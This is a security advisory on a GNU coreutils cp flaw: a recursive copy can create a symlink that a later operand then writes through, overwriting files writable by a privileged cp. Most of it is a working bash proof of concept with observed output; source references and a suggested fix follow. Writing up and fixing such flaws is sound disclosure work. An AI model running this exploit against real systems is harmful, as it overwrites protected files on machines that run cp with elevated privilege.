## Summary
Someone who controls the contents of a source tree and part of a recursive
`cp` command line can make a privileged `cp` copy a symbolic link into the
destination and then write a later operand through that link, overwriting
the file it points to with attacker-controlled content. This succeeds
because `cp` does not recognize a symlink created during the recursive walk
as one it just created, so the copy that should be refused is allowed
through. This is a confused-deputy issue: `cp` must be running as a more
privileged account, and the target file must be writable by that account.
## Technical Details
The check that should refuse these copies is the "never copy through a
symlink we've just created" guard in `copy_internal`
(`src/copy.c:1982-2005`). It runs only when `command_line_arg` is true, and
it consults `dest_info`, which is populated by `record_file`
(`src/copy.c:2603-2609`) — also only when `command_line_arg` is true.
Recursion re-enters `copy_internal` through `copy_dir`
(`src/copy.c:400-413`) with `command_line_arg=false`, so a symlink created
by the recursive walk (`src/copy.c:2520-2531`, under the `DEREF_NEVER`
default that `-R` selects in `src/cp.c`) is never added to `dest_info`, and
the guard's `seen_file` lookup never reports it. When a recursive operand's
basename is `.`, its children are placed directly in the destination
directory, so a subsequent operand with the same basename resolves to that
untracked symlink. `copy_reg` then opens the destination with
`O_WRONLY|O_TRUNC` and no `O_NOFOLLOW` (`src/copy.c:775-779`), following
the symlink and truncating and overwriting the file it names.
There is a second implementation detail relevant to the fix: the recursive
destination name can be recorded as `./s`, while the later command-line
operand is looked up as `s`. `dest_info` hashing and comparison must apply
the same path normalization before `seen_file` can reliably detect the
recursive target.
## Affected Versions
The behavior was reproduced on the audited development commit
`6f36b64689796bf89b57eb86265e41dc212968c8` and on upstream `master`
at `7d74e197bb90aeb4893d1e5f4ee5b998d27a13eb` during testing on
2026-10-26. The relevant source in current `master` is unchanged.
Platform metadata reports an affected range of `>= 6.10`; that lower
bound should be rechecked by bisection before publication. Older,
intermediate, and future versions were not exhaustively tested here.
## Impact
If `cp` runs with elevated privilege (for example as root or through a
privileged wrapper), a person who controls only the source tree and the
colliding operand can overwrite the contents of any existing file writable
by that `cp`, with content they choose. The independent security impact is
clearest when the destination directory itself is not writable by the
attacker; otherwise the attacker may be able to plant an equivalent symlink
without this bug. If `cp` runs without elevated privilege, the write-through
is confined to files writable at the same privilege level. No code
execution or privilege escalation beyond the caller's existing write
permissions is claimed.
## Proof of Concept
Verified at commit `6f36b64689796bf89b57eb86265e41dc212968c8`.
>From a Git checkout of that commit, initialize the required submodule and
build:
```sh
git submodule update --init
./bootstrap --no-git --skip-po --gnulib-srcdir=gnulib
./configure --disable-nls
make
```
Run the following script as root in a disposable container. The victim is
root-owned and not writable by the simulated attacker UID 1000; the source
and colliding operands are attacker-owned.
```bash
#!/bin/bash
set -euo pipefail
CP=$(realpath "${CP:-./src/cp}") # cp built from the checked-out commit
ROOT=$(mktemp -d)
trap 'rm -rf "$ROOT"' EXIT
chmod 0755 "$ROOT"
test "$(id -u)" -eq 0 || {
echo "run this PoC as root in a disposable container" >&2
exit 1
}
VICTIM_ORIG='ORIGINAL-VICTIM-CONTENT'
ATTACK='ATTACKER-OVERWRITE-CONTENT'
# CASE A: a recursive operand with basename '.' creates the symlink;
# a later command-line operand writes through it.
CA="$ROOT/case_a"
mkdir -p "$CA/srcdir" "$CA/other" "$CA/dest"
printf '%s\n' "$VICTIM_ORIG" > "$CA/victim"
chmod 0400 "$CA/victim"
ln -s "$CA/victim" "$CA/srcdir/s"
printf '%s\n' "$ATTACK" > "$CA/other/s"
chown -R 1000:1000 "$CA/srcdir" "$CA/other"
chmod 0755 "$CA" "$CA/srcdir" "$CA/other" "$CA/dest"
before=$(stat -c '%d:%i:%a' "$CA/victim")
set +e
setpriv --reuid=1000 --regid=1000 --clear-groups \
sh -c "printf x >> '$CA/victim'" 2>/dev/null
attacker_write_rc=$?
set -e
test "$attacker_write_rc" -ne 0
strace -f -yy -o "$CA/trace" -e trace=file \
sh -c "cd '$CA' && '$CP' -R srcdir/. other/s dest"
after=$(stat -c '%d:%i:%a' "$CA/victim")
printf 'case_a: attacker_write_before=%s cp_exit=0 before=%s after=%s\n' \
"$attacker_write_rc" "$before" "$after"
test "$before" = "$after"
test "$(readlink "$CA/dest/s")" = "$CA/victim"
test "$(cat "$CA/victim")" = "$ATTACK"
grep 'O_TRUNC' "$CA/trace" | tail -1
# CASE C: two recursive operands with basename '.';
# the second writes through the symlink created by the first.
CC="$ROOT/case_c"
mkdir -p "$CC/A" "$CC/B" "$CC/dest"
printf '%s\n' "$VICTIM_ORIG" > "$CC/victim"
chmod 0400 "$CC/victim"
ln -s "$CC/victim" "$CC/A/s"
printf '%s\n' "$ATTACK" > "$CC/B/s"
chown -R 1000:1000 "$CC/A" "$CC/B"
chmod 0755 "$CC" "$CC/A" "$CC/B"
before_c=$(stat -c '%d:%i:%a' "$CC/victim")
( cd "$CC" && "$CP" -R A/. B/. dest )
after_c=$(stat -c '%d:%i:%a' "$CC/victim")
printf 'case_c: before=%s after=%s\n' "$before_c" "$after_c"
test "$before_c" = "$after_c"
test "$(readlink "$CC/dest/s")" = "$CC/victim"
test "$(cat "$CC/victim")" = "$ATTACK"
# CONTROL B: the just-created symlink is a command-line operand,
# so the existing guard refuses the copy.
CB="$ROOT/control_b"
mkdir -p "$CB/srcdir" "$CB/other" "$CB/dest"
printf '%s\n' "$VICTIM_ORIG" > "$CB/victim"
chmod 0400 "$CB/victim"
ln -s "$CB/victim" "$CB/srcdir/s"
printf '%s\n' "$ATTACK" > "$CB/other/s"
chown -R 1000:1000 "$CB/srcdir" "$CB/other"
set +e
( cd "$CB" && "$CP" -P srcdir/s other/s dest ) >"$CB/out" 2>"$CB/err"
control_rc=$?
set -e
test "$control_rc" -ne 0
test "$(cat "$CB/victim")" = "$VICTIM_ORIG"
grep 'will not copy' "$CB/err"
```
Observed output (CASE A/C show the write-through; CONTROL B shows the guard
working when the symlink is a command-line operand):
```
===== CASE A: cp -R srcdir/. other/s dest =====
case_a: attacker_write_before=2 cp_exit=0 before=<DEV:INO:400>
after=<DEV:INO:400>
dest/s -> <ROOT>/case_a/victim
victim now: [ATTACKER-OVERWRITE-CONTENT]
openat(<ROOT>/case_a/dest>, "s", O_WRONLY|O_TRUNC) = <ROOT>/case_a/victim>
===== CASE C: cp -R A/. B/. dest =====
case_c: before=<DEV:INO:400> after=<DEV:INO:400>
dest/s -> <ROOT>/case_c/victim
victim now: [ATTACKER-OVERWRITE-CONTENT]
===== CONTROL B: cp -P srcdir/s other/s dest =====
victim before: [ORIGINAL-VICTIM-CONTENT]
cp: will not copy 'other/s' through just-created symlink 'dest/s'
cp exit=1
victim now: [ORIGINAL-VICTIM-CONTENT]
```
In CASE A and CASE C the victim retains its original inode and its `0400`
mode while its content changes, confirming an in-place truncation through
the just-created symlink rather than an unlink-and-recreate; `cp` exits 0
and emits no diagnostic. In CONTROL B the same write-through attempt is
refused because the symlink is a command-line operand and therefore covered
by the guard.
## Suggested Fix
Make the same check cover recursive destinations: record destinations
created during the recursive walk in `dest_info` and evaluate the
just-created-symlink guard for them. This requires both removing the
`command_line_arg` condition around `record_file` at
`src/copy.c:2603-2609` and evaluating the guard at
`src/copy.c:1982-2005` for recursive writers. Normalize `./s` and `s`
consistently in both hashing and comparison, otherwise the recursive entry
and later command-line lookup can land in different hash buckets. Add
regression tests for both `cp -R srcdir/. other/s dest` and
`cp -R A/. B/. dest`.
As defense in depth, open a destination known to have been created by the
current invocation with `O_NOFOLLOW` in `copy_reg`
(`src/copy.c:775-779`), preventing it from following the link even if the
`dest_info` check is bypassed.
## Credit
SecBuddyF (with Hy4-preview) of Tencent KeenSecurityLab